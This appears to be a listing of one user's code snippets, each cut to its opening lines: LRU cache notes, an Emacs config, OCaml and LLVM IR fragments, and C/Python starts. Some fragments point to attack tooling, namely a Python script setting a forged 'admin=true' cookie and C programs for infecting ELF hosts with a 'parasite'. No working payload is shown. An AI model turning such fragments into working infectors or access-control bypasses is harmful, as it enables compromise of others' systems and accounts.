aaronyoo

LRU Cache

insert -- touch the value, update the value
init -- initialize w/ capacity
get -- get the value associated w/ key. touch the value

keep track of the LRU

Assumptions
1. key is an int, value is an int

aaronyoo

(setq inhibit-startup-message t)


(require 'package)
(setq package-enable-at-startup nil)
(add-to-list 'package-archives
	     '("melpa" . "https://melpa.org/packages/"))

(package-initialize)

aaronyoo

exception ImplementMe

type t = True | False | If of t * t * t | Int of int | Plus of t * t | Greater of t * t

let isval t =
  match t with
      True|False -> true
    | Int _ -> true
    | _ -> false

aaronyoo

; Function Attrs: noinline nounwind ssp
define void @"dummy_function(Dummy&, long, long, long)"({ i64, i64, i64 }* %dummy, i64 %i, i64 %j, i64 %k) local_unnamed_addr #0 {
  %1 = tail call i8* @llvm.returnaddress(i32 0)
  %2 = ptrtoint i8* %1 to i64
  %3 = ptrtoint { i64, i64, i64 }* %dummy to i64
  %4 = getelementptr inbounds { i64, i64, i64 }, { i64, i64, i64 }* %dummy, i64 0, i32 0
  store i64 %i, i64* %4, align 8
  %5 = add i64 %3, 8
  %6 = inttoptr i64 %5 to i64*
  store i64 %j, i64* %6, align 8

aaronyoo

; Function Attrs: noinline nounwind ssp
define void @"dummy_function(Dummy&, long, long, long)"({ i64, i64, i64 }* %dummy, i64 %i, i64 %j, i64 %k) local_unnamed_addr #0 {
  %1 = tail call i8* @llvm.returnaddress(i32 0)
  %2 = ptrtoint i8* %1 to i64
  %3 = tail call %struct.Memory* @__remill_write_memory_64(%struct.Memory* null, i64 14096, i64 %2)
  %4 = tail call %struct.Memory* @__remill_write_memory_64(%struct.Memory* %3, i64 14088, i64 0) #4
  %5 = ptrtoint { i64, i64, i64 }* %dummy to i64
  %6 = tail call %struct.Memory* @__remill_write_memory_64(%struct.Memory* %4, i64 %5, i64 %i) #4
  %7 = add i64 %5, 8
  %8 = tail call %struct.Memory* @__remill_write_memory_64(%struct.Memory* %6, i64 %7, i64 %j) #4

aaronyoo

import requests
import re

def main():
    print("starting")

    # Set the admin cookie before doing anything else
    my_cookie = {
        "name":"admin",
        "value":"true"

aaronyoo

#include <stdio.h>

int main() {
        printf("Hello World");
        return 0;
}

aaronyoo

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>

#define PARASITE_SIZE 8824

int main(int argc, char **argv) {

aaronyoo

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

int main(int argc, char **argv) {
    if (argc != 3) {
        printf("Usage: ./infect [host] [parasite]\n");
        exit(0);
    }

aaronyoo

#include <stdint.h>
#include <stdlib.h>
#include <elf.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

void readElfHeader(Elf64_Ehdr *ehdr);

int main(int argc, char **argv) {